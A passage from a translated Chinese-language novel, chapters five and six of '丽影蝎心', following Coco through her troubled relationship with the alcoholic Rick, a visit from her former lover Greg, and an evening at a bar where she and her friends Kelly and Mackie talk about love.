站长推荐



热门搜索

站长推荐

[都市]丽影蝎心-21

  






第五章
那只装着发夹的银质盒子就放在梳妆台上,由于她被铐在床头边的床脚处,所
以,她的脚还勉强够得着那只盒子。不过,如果用脚勾不过来,盒子就会打翻在地,
把发夹散落一地。要是那样的话,那就真是束手无策了。
她又试着伸出脚去量了一下距离。当她将脚伸出去的一刹那,涂在脚指甲上的
蔻丹,映人了她的眼帘,那蔻丹就像滴洒在绝望的地毯上的血液一样,鲜红鲜红的,
令她忍不住眨了眨眼。尽管手指和脚指甲上的蔻丹是同时涂上的,可是,手指甲上
的蔻丹已经脱落了将近一大半,而脚上的却还完好如初,她自己都感到好笑。
对利克这种无可救药的人,真让人哭笑不得,人们是不会把他放在心上的。尽
管她身体被捆着,却依然有一股冲动,想到这里,连她自己忍不住要笑出来。是啊,
每次都这样。看看眼前的情形,憎恶之余,又让她增添了几分恐慌,她不得不默认
周围的一切。然而,只要她一默认,她的爱也就再也无法滋长了,再也找不到用来
浇灌爱情的肥料和水了。也许还会有阳光,但她很清楚,那阳光是从其他人身上反
射过来的,她怎样才能将这种反射过来的光奉献给利克呢?
其实,她的大脑一直是清醒的。尽管她已经非常疲惫,但脑海里依然在想着这
些事。也许,她的心早就开始受到侵蚀,此时她正企图将过去一直缠绕在心中的污
垢清除掉。
戴利尔曾用画线来作比喻。此时她手里正拿着粉笔,她知道,如果想将过去和
未来分开的话,就得趁现在。但是,过去和未来这两者的色彩是完全不同的,而且
各自占的范围都很大,这使她很苦恼,因为现在她正被夹在这两者中间,充其量自
己也不过是粉笔所画出来的一条线。而且,她非常清楚,这条线很不牢靠,只要用
手指轻轻地擦一下,就可以把它擦掉。可是,如果不画这一条线,又无法继续进行
下面的工作。正因为如此,她才为了划这条细小的线而举棋不定。
利克什么时候才能回来呢?也该回来了吧。他能用那双因酒精中毒而颤抖不止
的手来把握属于他的现在吗?他这个人,在他清醒的时候,或许他还有可能认真考
虑一点问题,对画这条线作出判断。到那个时候,珂珂才可能将心里的话全部告诉
他,但是,她是否有机会说出那些心里话,还取决于现在要画的这条线。珂珂曾无
数次诚恳地对利克说过“我爱你”,这种发自内心的呐喊,现在已经变成了“我爱
过你”,珂珂觉得这一点必须清楚地告诉他。珂珂在想,也许是自己错了,因为利
克是从不撒谎的,他还不懂得如何捏造谎言,他把自己所做的事情如实地告诉她,
或者他干脆沉默不语。就连从他咽喉深处或生殖器处所散发出来的气味,甚至连他
的呕吐物,都毫无半点虚伪。她看到了一切,也为这一切而感到不堪负重。
她不明白,究竟什么样的情感才称得上爱情呢?她想,人们究竟要将爱情这个
名词献给什么样的情感?“执着”、“欣赏”、“热情”,这些词似乎都可以和爱
情互换,但是,让自己进发情感的对象却是固定不能替换的。杰西、戴利尔、葛雷
戈不能替换,可爱的兰德也不能替换。尽管在情感和人之间可以进行许许多多的排
列组合,但是,对珂珂来说,她的情感的另一端却只有利克一个人。
她的情感充沛却没有人欣赏,她能因此将这份情感埋葬掉吗?
时间是埋葬情感的土壤,尽管在这个世界上爱情是惟一的,它也同样会被掩埋
而长眠地下。过不了多久,爱情的土冢上花繁叶茂,散发着芬芳,让人留恋忘返,
一阵风吹来,花粉散落在地上。到那时,她将会第一次体验到一个人在心中立墓碑
是一种什么样的的感受。她无法再想像日后的掩埋爱情的工作,只是呆呆地凝视着
脚上的趾甲。
正如杰西所说的那样,几个月后,葛雷戈真的前来拜访珂珂了,珂珂心里很不
愉快。想不到这些孩子看问题比大人还清楚,他们对大人世界的了解程度让珂珂很
惊讶。葛雷戈过于了解大人,珂珂并不感到高兴。葛雷戈的心情却不然,他正好与
珂珂相反,一张笑眯眯的脸,仿佛只要能见到珂珂,就非常高兴。
“你最近见过杰西吗?”
葛雷戈喝着珂珂递来的加拿大威士忌,笑嘻嘻地回答道:
mpanel(1);
“在炸鸡店见过。他们这些孩子还挺有兴致的。”
“他们?不是杰西一个人吗?”
“他和一个女孩站在罗伊·罗杰士的店门口聊天,那个女孩子一头金发,长得
还挺漂亮的。那天还下着雨,他们一直在笑,玩得非常开心。原先,我还以为是一
对小情侣呢,后来仔细一看,原来是杰西。后来,他们两个人就一起进了店。”
“哦,难怪那天找回来的零钱不够。”
“杰西到了交女朋友的年龄了。”
“小孩子好奇心强。他们的成长真快啊。对了,葛雷戈,听说你太太怀孕了?”
葛雷戈搔搔头,回答道:
“是啊,这是第二个啦。就我这个年纪,都快成两个孩子的爹了。”
“一切都还顺利吗?”
珂珂凝视着自己从前的男人,心中不由地起了嫉妒之意。
“还好。只不过有点……,该怎么说呢?怀孕的女人就那样。我每次出门她都
问一问,什么‘你去哪里’啦、‘和谁见面’啦、‘什么时候回来’啦,问个没完
没了。”
“她是不放心啊,担心你人被抢走了,或者是担心你的东西被人抢了。这证明
她爱你呀。”
“她嫌不嫌累啊?她明明知道我会回去的。”
“就是因为知道,所以才问啊。如果她什么都不问的话,那你们两个的关系就
完了。爱情中都会有不安的成分。”
“也许吧。我常常想起过去和你在一起的时光。”
“你又不爱我。”
“谁说的,我爱啊。只是你不是那种愿意等待的女人。我真没想到你会变成这
个样,竟然能和利克生活在一起。”
“女人都有那么一天会变成这样的,而且一辈子可能会有好几次。”
珂珂说着,心里已经开始回忆和葛雷戈在一起时的往事。珂珂确实很喜欢葛雷
戈,喜欢归喜欢,但那和爱是两码事。如果非要说爱的话,只能说现在比过去还更
爱他一些。当然,这种爱是另一个层面的爱。如果当时的葛雷戈也像今天的利克这
样给珂珂带来这么多麻烦,也许珂珂根本就不会和他在一起生活。能心甘情愿地接
受麻烦,也许是爱情的一种表现吧。
“不过,现在这样也挺好的,有什么事尽管找我商量。我可是一直惦着你这个
朋友啊,葛雷戈。”
“谢谢啦,珂珂。我也是一样,你随时可以来找我。有你这样的女朋友真是幸
运了。顺便问一句,你和利克处得还好吗?”
“还那个样。”
“我在赛利兹见过他几次,他醉得厉害。他为人还不错,在客人当中好像还挺
有人缘的。”
“是啊,他的为人非常好。”
珂珂说着,自嘲地笑了起来。见到珂珂这副模样,葛雷戈心中酸溜溜的,不是
个滋味。这可不是她应该有的笑容。想当初和自己交往时,她笑起来总是那样坦然。
葛雷戈常常为此感到自卑,这对他刺激很大,令他生气,因为他把这种微笑理解为
珂珂不需要他。
“你过得不幸福吗?珂珂。”
“你怎么会这样想?”
“这只是一种感觉。如果你真有什么不愉快的事,我也高兴不起来。以前我们
在一起的时候,可没见你这样悲伤过。”
“真讨厌。我这张脸真让你有那种感觉?”
“不,你的脸很漂亮,比以前还要漂亮。”
“是吗?怎么个漂亮法?说给我听听。”
珂珂忍不住笑了起来。
“就是嘛,这个样子才像我的珂珂啊。”
“我的珂珂”,多亲密的字眼啊,珂珂在心里玩味着。珂珂和葛雷戈既不是情
人,更不是夫妇,但两个人经常是一个喊“我的珂珂”,另一个喊“我的葛雷戈”,
亲切极了。珂珂心中感到一阵温暖,这种关系让人感到很美好,她想,大概所谓的
友情就是这种感觉吧。
“好像从前是一种放荡堕落的美,现在呢?这该怎么说呢,就像是目光的焦距
被固定在某一点上似的。”
“我眼睛一直不散光。”
“你明明知道我的意思。说真的,这是我的感觉。而且,好像你的眼睛总是湿
的,看不出你的表情到底是想笑还是想哭。”
“我想哭啊。”
“想哭?是吗?”
“不过,也有想笑的时候。”
葛雷戈不知该如何是好,歪着头对珂珂笑了笑,笑得有些不自然。从前,他也
经常这样歪着头,神情自然。唉,情不自禁地在从前女友的面前露出这种表情,也
难怪他的太太要醋劲大发了。珂珂一边想,一边看着他的脸。
“说真的,我真搞不清楚利克究竟在想些什么。说不定,他脑袋里根本就不想
任何东西。要真是这样的话,我又搞不懂了,他为什么不愿思考呢?你想,这个世
界上会有谁不希望自己幸福吗?每次看到他,我就有一种感觉,总认为他是在故意
逃避幸福。我常想,他有一套不错的公寓房,有工作,孩子也大了,还有情人和他
一起生活。可是,这一切仿佛反而成了他的负担。你说说看,葛雷戈,你会觉得这
是一种沉重的负担吗?如果这也算是负担的话,那么,这个世界上有这样好的负担
吗?”
葛雷戈听着珂珂的话,一声不吭。
“怎么样?葛雷戈,你觉得呢?我真的很想知道你对这个问题的看法。如果他
讨厌周围的一切,他完全有理由拒绝,他有拒绝的自由,可是他却不这么做。举个
最简单的例子,他只要把我撵出去就行啦。”
“他之所以没这么做,是因为他需要你,他自己知道,他不能没有你。也许,
他是不敢正视自己拥有这么多的幸福,所以才会下意识地对它进行破坏。其实,每
个人都会有这种毁灭性的潜在意识,只不过利克这方面比较突显而已。”
“没有的事。”珂珂冷笑了一声。
“他既不是作家,也不是什么艺术家!”
“没错。”
“可是他这样,也未免太没有创意了吧。既然他不属于那种具有创造力的人,
那么,在一切毁灭之后,也就无法再产生任何新的事物了。”
“你是不是很爱利克?”
“是的。”
“和利克在一起,还是感到很快乐吧?”
“那当然。”
“你说得还真肯定,太遗憾了。”葛雷戈耸耸肩膀,笑着说。
“其实,我也有很多不愉快的事情。可是,只要一枕在他的胳膊上,还是觉得
非常幸福的。我的朋友都说,干脆和他分手算了。可我一想要是失去了那舒服的枕
头,还有床上暖洋洋的毛毯,我就担心自己往后还能不能好好地睡觉呢。”
“你太投入了。”葛雷戈吹一声口哨。
“没错,我自己也很不甘心,我都快变成一个得了重病的人了。 其实,追求
我的男人很多,可我还是宁可要这个成天烂醉如泥的人。葛雷戈,你能告诉我吗?
为什么我非得要这个男人?为什么我一想到和他分手,就会流泪?”
“大概是起了化学反应吧,你们两个人都成为一体了。我想,利克的感觉也应
该和你一样。”
“为什么我和你就不会起化学反应呢?”
“你能不能说点别的?好歹我也是个男人啊。你好像对我一点都不在意。”
“你别误解了。可是,葛雷戈,我怎么觉得你就像是我的女友。”
“这就对了,你说的我虽然不满意,但还能接受。”
两个人相视而笑。在这种温馨的气氛中,他们慢慢地品味着,相互凝视,不需
要任何语言,只要有对方待在自己的身旁就足以安心了。这是非常难得的。他们两
个人都在感受对方,相处得非常愉快。
第二天早上,珂珂特地为杰西做了一份早餐。杰西一边啃着面包一边问珂珂:
“今天吹什么风呀,给我做早餐?”
珂珂把杯子放在他面前,然后给自己冲了一杯咖啡。
“没什么。我真想每天都能给你做早餐,只是你不喜欢吃。我也不必为了麦片
加牛奶特地一大早起床吧。”
“大概是心虚了吧?”
“没什么好心虚的。”
“就是昨晚我上床以后的事啊,好在爸爸回来前他走了。就算他没走也没关系,
爸爸喝得醉醺醺的,遇见他也不认识,那么晚了,他还以为是修水管的呢。”
“我说,杰西,”珂珂有些生气了,她说:“葛雷戈虽然是我以前的情人,可
是我们现在只是一般的好朋友,和他见个面,有什么好心虚的。”
“是这么个理。不过,他的声音可真甜蜜啊!‘珂珂,你真漂亮!’都说些什
么呀?让人浑身起鸡皮疙瘩。”
“你都听见了?”
“听见了。”
“真差劲!你这样太不礼貌了,你知道吗?”
“不礼貌的应该是你吧。你是我爸爸的女人,怎么可以把别人带到家里来?”
珂珂鼓起一边脸,坐在椅子上,摆出一副生气的样子,可是心里却没有丝毫的
怒意。“带人到家里来?”珂珂感到不可思议,这句话大大地刺伤了她的优越感。
杰西吃完早餐,一边刷着牙一边将教科书往书包里装。装完书后,就在屋子里
走来走去。
“你最近怎么天天都这么早出门?”
杰西正梳理着头发,回过头瞥了珂珂一眼。
“我很忙。”
“忙什么?”
“说了你也不明白。”
珂珂没好气地望了一眼神情傲慢的杰西,然后两手捧起咖啡杯,将杯子凑到嘴
边,轻轻地喝着热腾腾的咖啡。只有早上的咖啡还能让人感到有点生活气息。
杰西一边打开门上的锁链,一边对珂珂说:
“嗳,珂珂,回头有些话想跟你说说。”
“什么话?”
“有点事想请教请教。”
“我能教得了你吗?”
“教得了,是关于说话的方式。”
“说话的方式?哪一种方式?”
“就像‘你真是漂亮啊’、‘宝贝’这类的话。”杰西模仿着葛雷戈的口气说
道。
这下珂珂可真生气了。哪有这种孩子,竟然敢嘲笑大人!
“你有这个必要吗?”
“有啊。”
“你到底是怎么回事?别把我的朋友当傻瓜一样耍。”
杰西有些不好意思,擦了擦鼻子,说道:
“嗯……,是这样,过几天瑞茜她要过生日了。”
珂珂“啊”了一声,立刻站起身来,正想说点什么,杰西已经走出了家门。
我到底怎么了?为什么一下子就联想到不愉快的事情,而高兴的事情却一件也
想不起来呢?杰西做任何事情向来是事先不吱声的,今天竟然变了,突然对我亲近
起来。
“嘿,宝贝,怎么啦?垂头丧气的。”
珂珂一回头,只见利克从冰箱里拿出一瓶埃维昂矿泉水,抱着个瓶子就大口大
口地喝了起来。
“哟,真难得,竟然自己醒来了。”
“渴死我了。”
利克满脸疲劳,一口接一口地灌着矿泉水。一大早就渴成这样,真少见。珂珂
从侧面望着利克的脸。
“是吗?看你一副垂头丧气的样子。”
“我才不垂头丧气呢。”
珂珂噘着嘴。利克看着她的脸,感叹珂珂真是比自己年轻多了。
“你这就算起床了吧?”
“还早着呢,我还得再睡两个小时,呆会儿和你一块儿起床吧。”
“我哪有那个时间。”
“我又不是要你陪我,你懂我的意思了?”
“是要做爱呀?”
“女孩子说话怎么这么露骨?”
利克笑着牵着珂珂的手,珂珂温顺地随着他往卧室里走去,那样子看上去就像
是爸爸牵着女儿。珂珂一直认为,和利克在一起,只有这种时候她才无牵无挂、安
安心心,纯洁得像婴儿一样。孩提时代,经常有人牵着自己的手,可是现在,能牵
自己手的人却越来越少了。她想着小时候的那种感觉,脚步不由自主地一步一摇起
来,就像一个小孩子,两颊微微鼓起,眼神里充满了安逸。她小的时候,最讨厌孩
子,甚至希望赶紧长大,别再是个孩子,如果老是长不大,那才是天大的不幸。现
在看来,还是孩子最幸福。她用双手搂着利克的肩膀,就像拥抱着一朵绽开的巨大
花朵。
利克爱抚着珂珂的身体,就像在温水中给幼儿洗澡。珂珂希望时间能永远停留
在这一刻。她强烈地渴望奇迹发生,激动得泪水都要流出来了。她曾经极度厌恶孩
子,可现在,却一心想着能够重新回到孩提时代。她再也无法像成熟的女人一样在
床上享受欢乐,此时,她只想做自己想做的事,她只想借助男人的膀臂好好地休息
一下。休息时发出的快乐喘息,具有很强的诱惑力,这种诱惑力是人间少有的。珂
珂今天才理解,男女要将身体重叠在一起才能生出孩子的理由。如果这样能产生爱,
她愿一辈子都能让这个人拥在怀里。珂珂就是这样想的。
珂珂在想,从前,自己是非常讨厌孩子的,没想到这种感觉会这么美好,让人
回味无穷。对她来说,这究竟会给她留下什么,直到现在她也没个头绪。但她知道,
这种将爱深深嵌入彼此体内的性结合,有时会孕育新的生命,有时会充满悲伤,有
时会让人死而无憾。因爱情而产生的自暴自弃,几乎具有无所不能的力量。
如此巨大的力量,使得珂珂无法离开这张床。有了爱情,即使利克不在身边,
她依旧能嗅到利克的气息;有了爱情,即使没有温暖,她的身心并不感到凄凉;有
了爱情,即使喉咙干渴,亦能保持润泽的湿度。这真是令珂珂烦恼的床。不管再历
尽多少磨难,只要能走到床边,对她来说,似乎一切都无关紧要。只要拥有这张床,
就意味着她并没有全部失去。
珂珂曾听凯利说,从男人手中解脱出来的钥匙就掌握在自己手中。但是,真要
下定决心解除与利克的这种关系却很难做到。
人都喜欢温暖的地方,室外越寒冷,就越想往温暖的地方挤。人一旦陷人了欲
望的漩涡,人性就会变得非常脆弱,就像玻璃被放到烈火上一样,很容易碎裂。而
不会碎裂的只有那些拧过的毛毯等物,尽管形状改变了,却依然像一个梦,在黎明
时分紧紧地缠绕着人们的身体与灵魂,但它又不是梦。
“如果能永远这样该多好啊。”
珂珂一边说着,一边拨弄着利克汗水淋漓的胸毛。珂珂对利克的身体了如指掌,
甚至连他胸毛生长的方向也清清楚楚。她想,能对利克有如此深刻了解的女人,除
自己以外恐怕再也不会有第二个人了。
利克一边默默地抽着烟,一边想,这个女孩不知不觉已经变得离不开这个地方
了。与此同时,他将珂珂的身体夹在自己的腋下。
他在想,这个女孩一直住在这儿,已经离不开他了,而他也早已习惯了这种重
负,他感到一阵莫名的恐惧朝他袭来。他很清楚,人一旦养成了爱的习惯,如果再
失去爱,就会一下子坠人空虚的幽谷之中。然而,不幸的是,他偏偏是一个很容易
让女人养成这种习惯的男人。
“利克,你在听我说话吗?我希望时间能永远停住,我俩就这样永远待在床上。”
利克低声笑道:
“那不就得了嗜睡症吗?”
“你不喜欢这样吗?我还以为你也喜欢,甚至比我还喜欢呢。”
也许是吧,利克想着。但事实上也许是因为自己喜欢“那种事”,才造成了珂
珂的这种错觉。凭心而论,尽管她并不喜欢这种事,可还是由衷地希望自己能喜欢。
“听见你说这种话,你那些朋友会笑话你的。”
“有什么好笑的?”
“你那些朋友怪里怪气的,就像在大街上闲逛的那帮人。”
“你都说些什么呀。人不能光看外表,其实,每个人的心里想的东西大体上差
不了多少。”
“是吗?反正我和他们谈不到一块儿。”
珂珂有些不耐烦了,她咬咬嘴唇,然后说道:
“我有件事想问问你,可以吗?”
“什么事?”
“你爱我吗?”
利克没想到她会问这种话,他没有回答。当初,当珂珂把行李搬进他住处的时
候,他还谈不上对珂珂有什么爱。没错,珂珂长得确实很漂亮,也能理解他的幽默,
是个共同生活的最佳伴侣。经历与前妻无数次争吵,利克已经筋疲力尽了,他需要
呼吸新鲜的空气,换个心情。所以,当珂珂表明愿意与他共同生活时,他没有理由
拒绝她。然而,当他们真正开始共同生活之后,他才发现,她一直在不知不觉地将
自己的直觉转化成决心,其速度之快,绝不是他利克能追赶得上的。利克每天醒来,
第一眼看到的就是这样一个女人,让他感到可怕,他每天都在欢笑中冒冷汗。有一
段日子,他只好每天晚上都去嘈杂的酒吧,他迷上了一名会变魔术的女孩,他几乎
把看女孩子表演当成了自己生活的一部分。
利克这种男人,虽然也有自己的喜恶,最终却一事无成,他将为这些而感到后
悔。他对珂珂这样一往深情地喜欢一件事,或者对某个人的做法嫉恶如仇,简直感
到不可思议。珂珂这样投入,给利克造成了一种压迫感,令他在爱情面前不由自主
地退缩。
“回答我呀,利克,我只要你回答我这一个问题,以后我不会再问你什么的。”
珂珂这样问利克并不多见,因为她知道,这种问题会让男人厌烦,而且,这种
问题也不应该由女人来问,而应该由大块头的男人来问才有魅力。
“问这种问题干什么?”
“因为你玩的女人,都是些比我差的蠢货。”
“你这话什么意思?你是说我和其他女人上床吗?”
“我没这么说,但也不是丝毫没这个意思。我确实一直枕在你的肩膀上,都快
把你的膀子压塌下去了,这是事实,可我还是不了解你。你知道吗?我每天都睡不
好、吃不香,即使是裹着毛毯躺在床上,脑子里还是在胡思乱想,平静不下来。说
千道万,我并不想离开这里,只是你越来越让人受不了,你究意想要什么,我一点
都不清楚。”
“我不想干什么。”
“是吗?你愿意就这样死去吗?你对任何事情都感到不满意,尽管你眼前就堆
着这么多好东西,却不想要,甚至连看都不看一眼就想死去。你再这样继续喝酒,
只有死路一条。”
“你说的‘好东西’,是指你自己吗?”
“我只不过是其中之一。”
利克听着,不禁苦笑起来。
“利克,你知道吗?你眼前这个女人是多么需要你,她在爱你的同时,也在一
步步走向不幸。”
“别再说了!”
利克的吼声让珂珂吃了一惊,她立即沉默了,泪水随即涌出了她的眼眶。
“我担心你喝得太多。”
珂珂怯怯地说道。利克紧紧抱住她,露出了痛苦的表情。
“你听着,珂珂,”利克深深地吸了一口气,努力平静自己的情绪,然后接着
说道:
“在这世界上,如果我死了,苦恼的只有一个人,那就是杰西,因为他身上流
着我的血,而且他还是个孩子。其他人,不管是你还是杰西的妈妈,都不会因为我
的死而有丝毫的痛苦的。这一点我希望你能牢牢地记住。”
“那是你的看法。你真以为世界上的事都那么简单吗?死是很简单,可是一想
到死后其他的人,我就怎么也不忍心死去。难道你一点都不为自己感到心痛吗?”
“你是个任性的娇小姐。一个人太伤心了,他根本就不会去考虑自己死了以后
的事情的,你是理解不了的。”
“我是理解不了。”
利克披上便服,转身往厨房走去,珂珂茫然地望着他的背影。
厨房间里传来了利克开冰箱、开啤酒盖的声音,她的泪水再也止不住了。珂珂
低声地骂自己,怎么这么没出息。她努力将嘴角往上扬,希望能挤出一丝笑容。珂
珂站起身来,准备收拾一下床。当她将起皱的床单拉扯平时,她发现床单几乎都湿
透了。看着这张床,乱七八糟的,非常脏,跟河边的那些汽车旅馆里的差不多,她
无奈地叹了一口气。
“别整理了,还有些时间,我想再躺一会儿。”
“都被汗水弄湿了。”
“没关系。”
利克将枕头叠在一起,喝着啤酒,,然后躺下,刚收拾好的床单又被他的身体
压得皱巴巴的。珂珂没法再收拾,只好转身往浴室走去。






第六章
位于西百老汇大街的拉雷兹,塔密酒吧,是珂珂和她的朋友们经常聚会的地方,
她的那些朋友,也就是利克说的那些怪里怪气的人。拉雷兹·塔密总是挤得水泄不
通,如果下班后顺路上这里喝一杯,经常可以遇到一些熟面孔。这天傍晚,珂珂和
凯利约好在这里见面。下班后,珂珂匆匆忙忙地在大道上走着,没想到无意中竟遇
见马奇,他正骑着自行车。
“马奇!好久不见了。”
“下班啦?”
“是啊,我想先上拉雷兹·塔密去喝一杯,然后再回家。”
“是这样。”
马奇穿着自行车短装,外面罩着一件上衣,颜色搭配得很和谐,再加上右侧的
耳环,整个打扮简直妙极了。珂珂非常感慨,真想不到同性恋的男人也会打扮得如
此有特色。珂珂毫无顾忌地上下打量着马奇的穿着。
“你总是这样漂亮啊?”
“可不是嘛。”马奇也不客气。
“迈克还好吗?”
“嗯。可是,他最近让我感到很吃惊。”
“他怎么了?”
“他说,他也可以和女人上床了。”
“你说的就是这个?”
“当然喽。也许你这样的女孩还理解不了,可是,我可是每天晚上都睡不踏实。”
“为什么?”
“我的情敌差不多有你的两倍啊。”
珂珂一听,不禁笑了起来,马奇不可思议地看着她。
“对不起。我想,大概是有其他的女人介入了吧?”
“对这件事他很坦诚,如果有什么变故他会告诉我的。可是,我还是坐立不安。
珂珂,你可不要打他的主意啊。”
“我不能向你保证。”
马奇吃惊地看着珂珂,停下了脚步。
“很抱歉,我开个玩笑。我自己有男人,干吗找你的男人呢?”
“这我就放心了。上拉雷兹·塔密来,和朋友见面吗?”
“我约一个好朋友,她叫凯利,是个女孩。马奇,有空你也来吧。”
“我去合适吗?”
“当然合适。”
“那太好了,我最喜欢和女孩在一起聊天了,又轻松又自在。”
mpanel(1);
“是吗?”
“可是,那个酒吧我能去吗?”
“那当然,你怎么会这么问?”
“最近有人经常在这一带闹事。”
“什么人?”
“一些雅皮士。”
“放心吧,那些雅皮士早就被赶走了。没有人会介意你是黑人,也没人会对同
性恋男人感兴趣。去那儿的绝大多数人都是黑人、同性恋者或艺术家。”
“真的?那我和你一块儿去。就因为我是黑人,从小就受人欺负,现在又是个
同性恋者,更是到处都受歧视。除了闹市区,我几乎什么地方都不敢去。”
“至于吗?并不是所有的人都有那么深的偏见的。”
“可是,近来那些种族主义者都披上了善良的外衣,让人无法分辨。虽然我是
在纽约土生土长的,可是没人会相信,连那种纯西方的酒吧我都没去过。”
“我也没去过,不过,我是因为那种地方学费太高了,所以不想去。我是东方
人,跟你一样也是有色人种,我也曾经因为我的肤色遇到过一些很不愉快的事情,
特别是我工作的那家画廊的老板,那人真不怎么样!啊,对不起!我没有恶意,反
正他这个人很刻薄,真他妈的混蛋一个。”
珂珂和马奇一边走一边聊,很快就来到了拉雷兹·塔密的大门前。他们推开门,
珂珂一眼就看见凯利坐在里边角落处的一张桌子旁。
“哇,凯利!瞧你打扮得这么漂亮,有约会吗?”
“算你猜对了。哟,还带一位这么潇洒漂亮的男孩,是你的男朋友吗?”
“这是马奇,她叫凯利。”
珂珂介绍他们俩相互认识。
“你好,凯利,见到你很高兴。不过,我要声明一点,我不是男孩了,是男人。”
“对不起,因为你太可爱了。”
马奇很高兴,在桌边坐了下来。
“怎么样啊?凯利,你是不是把布雷昂给忘了?”
“还真是的。我待会还有约会,我们一块去吃饭吧。”
“你真行。这我就放心了。马奇,你瞧这位打扮得花枝招展的女孩,一个月前
和男人分手的时候还哭得不可开交呢,你能相信吗?”
“是吗?现在看起来精神很好嘛。才一个月时间就恢复过来了,挺坚强的。”
马奇一边用汤匙舀着冰镇的马尔卡力达鸡尾酒舔着,一边毫不客气地打量着凯
利。他向来不喜欢这种女强人,在这条大街上,经常可以看到这种人。在珂珂看来,
这种女人外强中干,表面上看起来很强悍,其实,她们的感情很脆弱。
“凯利,我真羡慕你们这些人。”
“珂珂,你怎么这么说呢?你和利克现在怎么样了?”
“还是老样子。我和他有点合不到一块儿,我老觉得我和他是两种不同类型的
人。”
“为什么非要是同样的人呢?这种想法毫无道理。你以为相爱就能让两个人化
为一体吗?爱情这东西不能太迷信了。不管再怎么相爱,两个人永远是行走在两条
平行线上的,即使是结了婚也是一样。不管最后分手不分手,爱情绝不可能交错的。
男人和女人始终都是两种不同的人。”
“如果这样考虑问题,那爱情不是太乏味了吗?”
马奇很不耐烦地说道。耳朵上的大耳环不停地晃着,在酒吧的灯光反射下闪烁
着。
“我很理解凯利说的。不过也是的,如果爱情真像马奇说的那样,那就真的太
没有意思了。我爱男人,就希望他能够像我身体的某个部分一样,永远不分离。我
也希望男人能同样爱我。”
珂珂说着,不由得想起了利克。
“那么,利克能满足你的愿望吗?”凯利问道。
“好像还不能,不过,我相信他会变的,凯利。”
“像你这样的女人,是不是就会给男人找麻烦?”
马奇听了凯利的话,眉头不由地一皱,接着又扬了扬眉,说道:
“你这话太过分了吧。”
“对不起,珂珂。当然,我并不是说你对爱的方式有什么过错,各人有各人的
爱情理想模式,而且,大家也都很希望能过自己努力实现的模式的生活。在努力的
过程中,难免有时会受到伤害,却还是小心翼翼地呵护,不知道这种恋爱方式是不
是你想要的。如果真是受到爱情的伤害,就无法挽救了,和布雷昂在一起的时候,
我简直是受够了。人生短暂,别那么认真。如果大家都能好聚好散,人的悲欢离合
不就和钞票集散一样自然了吗?”
“我可不这么认为。”
“我并没有希望你的想法和我一样,马奇。我所说的,并不是你们同性恋者能
理解的。”
珂珂对凯利这种苛刻的口吻感到吃惊,偷偷地看了马奇一眼。
出乎她预料的是,马奇脸上一点儿也看不出生气的样子。
“没错,我的确是个同性恋者,但是,我希望能和你们一样,以认真的态度去
爱一个人。在这一点上,只能这样。珂珂也好,我也好,我们都属于这一类人。你
应该了解,你和布雷昂分手后,接下来还要开始新的恋爱,因为人有一股天生无法
压抑的欲望,我并不是指肉体的性欲,而是指一种在社会上自我实现的欲望。”
凯利沉默了半晌,然后说道:
“马奇,你说得对。刚才那样说话我很抱歉。可是,我很想逃避那种欲望,我
感到害怕。我一直很佩服珂珂有勇气。”
凯利说着,抿了一口酒。
“我有什么勇气?我不过是在逞强罢了。其实,我很寂寞,我不知道该怎样做
才能摆脱这种寂寞。虽然我和利克在一起生活,可心里还是感到寂寞。”
“如果没有爱,感觉就全没了。”
马奇听着珂珂的话,自言自语说道。珂珂听了,吃惊地看着他。
“马奇,你认为他爱我吗?”
“嗯,我是这么认为的。在追求的过程中,充满了热情,根本就感觉不到什么
寂寞,有的只是饥渴。这种内心的寂寞,只有对方也爱你的时候才感觉得到。如果
你曾经爱过、也被爱过,让你学会忘却,这是一件很困难的事啊。”
珂珂说着,眼里含着泪水:
“马奇,听了你的话,我觉得轻松多了。”
“唉,如果天底下的男人都像马奇这么聪明的话,那我们的恋爱都会很美好。”
凯利的表情和刚才显然不一样,她凝视着马奇,似乎对马奇有了好感。
“我算不上聪明,我只是一直在坚持追求美好的事物。”
“如果你追求的美好东西染上了爱滋病,那该怎么办呢?”
“那就抹些芥末吧。”
两个女人被马奇说得大笑起来。
“今晚我约的男人,如果能成为我人生美好的一部分就好了。我告诉你们,他
可是一个很有魅力的人啊。”
“他该来了吧?来,我再来一杯酒,今天不见到他,我就不走了。”
“我也再要一杯冰镇的,要双份的。”
“真不好意思,不久前为了布雷昂的事,我哭成那个样子。”
“可不是嘛。她当时一把眼泪一把鼻涕的,把嘴里的面条都哭出来了,像流水
似的。马奇,你不知道吧?”
“过分了吧!珂珂,我让面条流下来了吗?”
“那可算得上是一场很前卫的表演啊。”
凯利用手指戳了一下马奇的额头。
“唉呀,想不到,女人这么粗鲁。”
“哟,你这种男人居然也说我们粗鲁。”
凯利和马奇两个人已经很熟悉了,他们亲切地打骂着。珂珂带着轻微的醉意,
笑着望着他们,心想,有这样能说能闹的朋友在一起真是太好了。凯利看见珂珂正
在发呆,不禁笑道:
“怎么啦?珂珂。不过才两杯加冰块的马爹尼,不会就醉了吧?”
“哪能呢?看着你们我觉得高兴啊。我想,如果和男人交往也能有这种气氛,
那该有多幸福啊。”
“那是不可能的,所以,男女搞到一块儿就没什么乐趣。恋爱时的心情都是很
极端,要么是走人兴奋的高峰,要么就是跌进了悲伤的低谷。”
“凯利说话总是那么果断。”马奇说道。
“我呀……”珂珂想了一下,然后说道:“我还是喜欢折中一点。”
“那是不可能的。要不,就不叫恋爱了。”
“那该叫什么?”
“是啊,该叫什么呢?叫你这么一问,我也不知道该叫什么了。总之,是不可
能的。我这个人,就是不愿意那样过得平平淡淡,爱得半死不活的。”
“别什么死不死的,让人听了不舒服。我虽然为利克的事伤透了心,不管怎样,
我还是相信,悲伤只是暂时的,我们一定会生活得温馨如春的。”
“如果暂时的悲伤不断地延续,变成了永远,那你打算怎么办?珂珂,他让你
这样悲伤,他也有让你快乐的义务啊。你说喜欢折中一点,如果不是体验过恋爱的
极端心情,或是历尽了人间的沧桑,是做不到的。至于人间沧桑,以我们这个年纪,
是没资格说的。”
马奇兴趣盎然地倾听女人们的交谈,他发现,这些女人老喜欢找各种各样的理
由。而马奇却不是这样,在他的人生中,他是始终在按照自己的理想去“追求”爱
情,他要挑选的是他心目中的男人,他要和他喜欢的男人在一起生活。与马奇相比,
有的人看上去是在追求爱情,其实,他们渴望的是别人来追求他。
“凯利,你今天约的人,愿意和你共同生活吗?”
凯利被马奇问得红涨着脸,支支吾吾:
“我也不知道。他说他挺喜欢我的,还没说得那么具体,我也没好意思问他。
唉呀,他来了。”
